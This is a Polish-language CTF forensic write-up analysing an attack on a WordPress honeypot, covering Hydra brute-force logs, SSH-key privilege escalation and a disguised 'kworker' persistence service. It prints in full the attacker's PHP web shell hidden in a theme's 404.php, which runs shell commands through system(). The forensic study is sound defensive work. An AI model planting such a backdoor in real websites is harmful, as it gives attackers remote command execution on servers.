W CTFie Honeynet Collapse zadanie 3. to pierwszy, faktyczny zestaw pytań. Polegał on na analizie śladów włamania na maszynie linuxowej. Głównym celem początkowego ataku była instancja WordPressa, dostępna na porcie 80
.
Pytanie 1. — cel brute force-u
- Poziom trudności: łatwy 🟢
- Liczba punktów: 30
- Treść: Którą stronę internetową atakujący próbował złamać metodą brute force?
Z treści wynika, że atakujący próbował brute forcować którąś stronę WordPressa. Ataki brute force są wyjątkowo łatwe do wykrycia a odpowiedzi na to pytanie spodziewałem się w logach serwera Apache (choć od początku przeczuwałem, że chodzi o stronę logowania do panelu administracyjnego).
Domyślny katalog przechowujący logi Apache to /var/log/apache
. Komunikaty dotyczące dostępu do stron znajdują się w access.log
.
root@deceptipot-demo:~# cd /var/log/apache2/
root@deceptipot-demo:/var/log/apache2# ls
access.log error.log other_vhosts_access.log
Po odczytaniu tego pliku, moje przypuszczenia bardzo szybko się potwierdziły:
[...]
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:27 +0000] "GET /******.php HTTP/1.0" 200 4838 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
167.172.41.141 - - [27/Jun/2025:21:20:28 +0000] "POST /******.php HTTP/1.0" 200 5244 "-" "Mozilla/5.0 (Hydra)"
[...]
Pytanie 2. — backdoor
- Poziom trudności: średni 🟡
- Liczba punktów: 60
- Treść: Jaka jest bezwzględna ścieżka do pliku PHP z backdoorem?
Atak brute force przeprowadzony przez atakującego okazał się pomyślny. Z pytania 2. wynika, że do jednego z plików PHP dodał on tylną furtkę, prawdopodobnie w postaci skryptu wykonującego polecenia powłoki (funkcja system
).
Tylko… jak ten plik znaleźć? Skoro i tak mamy otwarty już plik z logami dostępu, to może w nim znajdziemy coś na ten temat. WordPress pozwala na edycję szablonów, w tym plików PHP. W pliku access.log
znajduje się zapis jednego żądania POST
, które wskazuje na edycję szablonu:
167.172.41.141 - - [27/Jun/2025:21:31:51 +0000]
"POST /wp-admin/admin-ajax.php HTTP/1.1"
200 595
"http://demo-web.deceptitech.thm/wp-admin/theme-editor.php?file=404.php&theme=blocksy"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
Wygląda na to, że atakujący zmodyfikował plik 404.php
, w motywie blocksy. Wystarczy znaleźć ten plik i ewentualnie sprawdzić czy faktycznie zawiera furtkę.
Instalacja WordPressa znajdowała się w domyślnym katalogu /var/www/html
(sam WordPress był w podkatalogu wordpress).
root@deceptipot-demo:/var/www/html/wordpress# ls
index.php wp-config-sample.php wp-login.php
license.txt wp-config.php wp-mail.php
readme.html wp-content wp-settings.php
wp-activate.php wp-cron.php wp-signup.php
wp-admin wp-includes wp-trackback.php
wp-blog-header.php wp-links-opml.php xmlrpc.php
wp-comments-post.php wp-load.php
Nasz motyw blocksy znajduje się w katalogu wp-content/themes/blocksy
. Po wyświetleniu plików w tym katalogu, widać również nasz szukany plik 404.php
:
root@deceptipot-demo:/var/www/html/wordpress/wp-content# ls
index.php plugins themes upgrade uploads
root@deceptipot-demo:/var/www/html/wordpress/wp-content# cd themes
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# ls
blocksy twentytwentyfive twentytwentythree
index.php twentytwentyfour
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes# cd blocksy
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy# ls
404.php footer.php package.json static
LICENSE functions.php page.php style.css
admin gulpfile.js readme.txt template-parts
archive.php header.php screenshot.jpg theme.json
artifacts inc searchform.php tutor
changelog.txt index.php sidebar.php woocommerce
comments.php languages single.php wpml-config.xml
root@deceptipot-demo:/var/www/html/wordpress/wp-content/themes/blocksy#
Niespodzianka, na końcu pliku 404.php
(który swoją drogą ma za zadanie wyświetlać stronę błędu, gdy serwer nie znalazł danego zasobu) znajduje się ten interesujący kawałek kodu:
if (isset($_GET['doing_wp_corn']) && $_GET['doing_wp_corn'] === "t") {
echo '<form method="POST" style="width: 500px; max-width: fit-content; margin-left: auto; margin-right: auto;">
<input type="text" name="cmd" style="width: 300px;">
<input type="submit" value="Run">
</form>';
if (isset($_POST['cmd'])) {
echo '<pre style="width: 500px; margin-left: auto; margin-right: auto; white-space:pre-line;">';
system($_POST['cmd']);
echo "</pre>";
}
}
Gdy w żądaniu pojawi się parametr „doing_wp_corn
” z wartością „t
„, serwer radośnie wykona podane polecenie przekazane w parametrze „cmd
” (z uprawnieniami serwera Apache).
Odpowiedzią na pytanie jest pełna ścieżka do pliku 404.php
.
Pytanie 3. — eskalacja uprawnień
- Poziom trudności: łatwy 🟢
- Liczba punktów: 30
- Treść: Który plik umożliwił atakującemu uzyskanie uprawnień roota?
W poprzednim pytaniu dowiedzieliśmy się, że atakujący uzyskał dostęp do badanego serwera z uprawnieniami serwera WWW. Teraz musimy znaleźć jak udało mu się eskalować te uprawnienia.
Na serwerze została skonfigurowana usługa auditd
, która monitorowała różne procesy zachodzące w trakcie pracy serwera. Logi tej usługi znajdowały się w pliku /var/log/auditd/audit.log
.
Dostępne są narzędzia do przeszukiwania logów auditd, ale zdecydowałem się ręcznie przeszukać plik, ponieważ był stosunkowo mały (226 linii).
W pewnym momencie zauważyłem, że atakujący odczytał plik /etc/ssh/id_ed25519.bak
. Przykuło to moją uwagę, ponieważ nie kojarzyłem, żeby domyślna instalacja takowy zawierała:
type=EXECVE msg=audit(1751062057.449:533):
argc=2 a0="cat" a1="/etc/ssh/id_ed25519.bak"
Użytkownicy korzystający z SSH z pewnością będą wiedzieli, co to za plik — jest to kopia prywatnego klucza SSH. Jeżeli fingerprint odpowiadającego mu klucza publicznego znajduje się w katalogu .ssh
użytkownika root
, to ktokolwiek posiadający ten klucz będzie w stanie zalogować się jako root
do serwera.
root@deceptipot-demo:~# cat /root/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP emily
root@deceptipot-demo:~# cat /etc/ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEQ2JTipuTqzOb5nmHURhOuPskuZr/jQvrpuG6QCHmdP root@deceptipot-demo
I tak właśnie było. Administrator najwyraźniej zapomniał zabezpieczyć kopię zapasową swojego klucza SSH.
Zatem odpowiedzią na pytanie jest ścieżka do tej kopii.
Pytanie 4. — szukanie wirusa
- Poziom trudności: trudny 🔴
- Liczba punktów: 120
- Treść: Jaki jest hash MD5 wirusa utrzymującego się na hoście?
Z treści pytania jasno wynika, że atakujący zainstalował jakiegoś rodzaju złośliwe oprogramowanie na analizowanym hoście. Musiałem je znaleźć i podać jego hash MD5 (albo znaleźć sam hash).
Postanowiłem odczytać dziennik systemowy za pomocą polecenia journalctl
. W oczy od razu rzucił mi się komunikat z pewnej usługi:
Jul 27 10:39:18 deceptipot-demo kworker[1234]: 2025/07/27 10:39:18 client: Retrying in 25.6s...
Jul 27 10:40:29 deceptipot-demo kworker[1234]: 2025/07/27 10:40:29 client: Connection error: dial tcp 167.172.41.141:10443: i/o timeout (Attempt: 9/unlimited)
Miałem wrażenie, że już gdzieś widziałem ten adres. Był to adres IP, z którego został przeprowadzony atak brute force z pytania pierwszego. Najwyraźniej ten sam adres był używany jako serwer C2.
Nie mając wątpliwości, że znalazłem złośliwą usługę (kworker.service
), wyświetliłem jej status.
root@deceptipot-demo:~# systemctl status kworker.service
● kworker.service - Kernel Hard Worker
Loaded: loaded (/etc/systemd/system/kworker.service; enabled; preset: enabled)
Active: active (running) since Sun 2025-07-27 10:32:06 UTC; 16min ago
Main PID: 1234 (kworker)
Tasks: 7 (limit: 2275)
Memory: 13.2M (peak: 13.4M)
CPU: 39ms
CGroup: /system.slice/kworker.service
└─1234 /usr/sbin/kworker
Kernel Hard Worker — bardzo przekonujący opis swoją drogą. Z opisu można wyczytać, że usługa uruchomiła plik /usr/sbin/kworker
. Obliczyłem hash MD5 tego pliku i wysłałem jako odpowiedź:
root@deceptipot-demo:/var/log# md5sum /usr/sbin/kworker
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /usr/sbin/kworker
Pytanie 5. — DeceptiPot (bonus)
- Poziom trudności: trudny 🌟
- Liczba punktów: 25
- Treść: Czy możesz uruchomić DeceptiPot w trybie odzyskiwania?
Bonusowym zadaniem było pozyskanie klasycznej flagi poprzez uruchomienie programu DeceptiPot (fikcyjny program, przygotowany specjalnie pod CTFa) w trybie odzyskiwania.
Sam program znajdował się w katalogu /root
. W tym samym folderze znalazłem również plik konfiguracyjny, zawierający poświadczenia, w tym klucz odzyskiwania (reckey):
# [...] reszta pliku
[security]
# Recovery key to change DeceptiPot settings after deployment
reckey = yyyyyyy
# Disables all DeceptiPot security features, use with caution
debugmode = true
Samo użycie klucza było banalne:
root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -h
Usage of /usr/bin/deceptipot:
-d Daemonize
-r string Recovery Key
root@deceptipot-demo:~/deceptipot# /usr/bin/deceptipot -r yyyyyyy
Loading... Access granted: THM{xxxxxxxxxxxxxxxxxxxxx}